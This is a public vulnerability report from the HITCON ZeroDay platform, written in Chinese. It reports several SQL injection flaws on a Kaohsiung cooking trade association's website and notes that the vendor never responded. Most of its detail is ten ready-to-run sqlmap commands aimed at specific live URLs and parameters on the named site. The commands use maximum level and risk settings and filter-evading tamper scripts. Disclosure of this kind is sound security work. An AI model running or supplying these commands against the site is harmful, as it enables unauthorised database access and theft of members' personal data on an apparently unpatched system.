高雄市烹飪商業協會存在多個SQL Injection 漏洞

Vulnerability Overview

ZDID: ZD-2026-00901
發信 Vendor: 高雄市烹飪商業同業公會
Title: 高雄市烹飪商業協會存在多個SQL Injection 漏洞
Introduction: SQL Injection

處理狀態

目前狀態

公開

Last Update : 2026/09/02

新提交
已審核
已通報
未回報修補狀況
未複測
公開

處理歷程

2026/07/03 14:45:51 : 新提交 (由 Hi-ν 更新此狀態)
2026/07/07 15:36:19 : 審核未通過 (由 HITCON ZeroDay 服務團隊更新此狀態)
2026/07/08 01:08:08 : 新提交 (由 Hi-ν 更新此狀態)
2026/07/13 11:40:12 : 新提交 (由 Hi-ν 更新此狀態)
2026/07/13 14:16:15 : 新提交 (由 Hi-ν 更新此狀態)
2026/07/16 10:54:36 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2026/07/23 16:37:40 : 通報未回應 (由 HITCON ZeroDay 服務團隊更新此狀態)
2026/07/23 16:37:40 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2026/07/23 16:37:40 : 通報未回應 (由 HITCON ZeroDay 服務團隊更新此狀態)
2026/09/02 03:00:18 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

ZDID：ZD-2026-00901
通報者：susu280 (Hi-ν)
風險：嚴重
類型：資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料（包含大量使用者個資或敏感性資料），同時也有機會對資料進行破壞或修改。

漏洞說明： OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式： OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

敘述

基於ZD-2026-00581延伸，透過crawlergo + autosqlmap等自研專案，對目標針對sqli進行深度挖掘，可發現多筆url路徑與參數具有sqli風險，後續使用sqlmap進行驗證，確認具有多筆路徑存在SQLI等漏洞。

sqlmap -u "http://skycity.inks.com.tw/file_download_det.php?user_id=20240611-115302" -p user_id --batch --random-agent --level=5 --risk=3 --tamper space2comment,versionedmorekeywords,charencode --cookie "PHPSESSID=9bud96opvhutb995eumus3sbg9" --dbs
sqlmap -u "http://skycity.inks.com.tw/about.php?id=25" -p id --batch --random-agent --level=5 --risk=3 --tamper space2comment,versionedmorekeywords,charencode --cookie "PHPSESSID=9bud96opvhutb995eumus3sbg9" --dbs
sqlmap -u "http://skycity.inks.com.tw/services.php?id=22" -p id --batch --random-agent --level=5 --risk=3 --tamper space2comment,versionedmorekeywords,charencode --cookie "PHPSESSID=9bud96opvhutb995eumus3sbg9" --dbs
sqlmap -u "http://skycity.inks.com.tw/medical_beauty.php?id=22" -p id --batch --random-agent --level=5 --risk=3 --tamper space2comment,versionedmorekeywords,charencode --cookie "PHPSESSID=9bud96opvhutb995eumus3sbg9" --dbs
sqlmap -u "http://skycity.inks.com.tw/news.php?item_id=13&num=64&t=%E5%85%AC%E4%BD%88%E6%AC%84" -p item_id --batch --random-agent --level=5 --risk=3 --tamper space2comment,versionedmorekeywords,charencode --cookie "PHPSESSID=9bud96opvhutb995eumus3sbg9" --dbs
sqlmap -u "http://skycity.inks.com.tw/info.php?item_id=5&num=0&t=%E9%A3%9F%E5%93%81%E7%AE%A1%E7%90%86" -p item_id --batch --random-agent --level=5 --risk=3 --tamper space2comment,versionedmorekeywords,charencode --cookie "PHPSESSID=9bud96opvhutb995eumus3sbg9" --dbs
sqlmap -u "http://skycity.inks.com.tw/info2.php?item_id=6&num=0&t=%E5%BB%9A%E5%B8%AB%E8%AD%89%E6%9B%B8" -p item_id --batch --random-agent --level=5 --risk=3 --tamper space2comment,versionedmorekeywords,charencode --cookie "PHPSESSID=9bud96opvhutb995eumus3sbg9" --dbs
sqlmap -u "http://skycity.inks.com.tw/news_det.php?id=355&t=%E9%8C%84%E5%8F%96%E8%B3%87%E8%A8%8A" -p id --batch --random-agent --level=5 --risk=3 --tamper space2comment,versionedmorekeywords,charencode --cookie "PHPSESSID=9bud96opvhutb995eumus3sbg9" --dbs
sqlmap -u "http://skycity.inks.com.tw/info_det.php?id=245&t=%E8%AA%B2%E7%A8%8B%E8%B3%87%E8%A8%8A" -p id --batch --random-agent --level=5 --risk=3 --tamper space2comment,versionedmorekeywords,charencode --cookie "PHPSESSID=9bud96opvhutb995eumus3sbg9" --dbs
sqlmap -u "http://skycity.inks.com.tw/info2_det.php?id=237&t=%E5%BB%9A%E5%B8%AB%E8%AD%89%E6%9B%B8" -p id --batch --random-agent --level=5 --risk=3 --tamper space2comment,versionedmorekeywords,charencode --cookie "PHPSESSID=9bud96opvhutb995eumus3sbg9" --dbs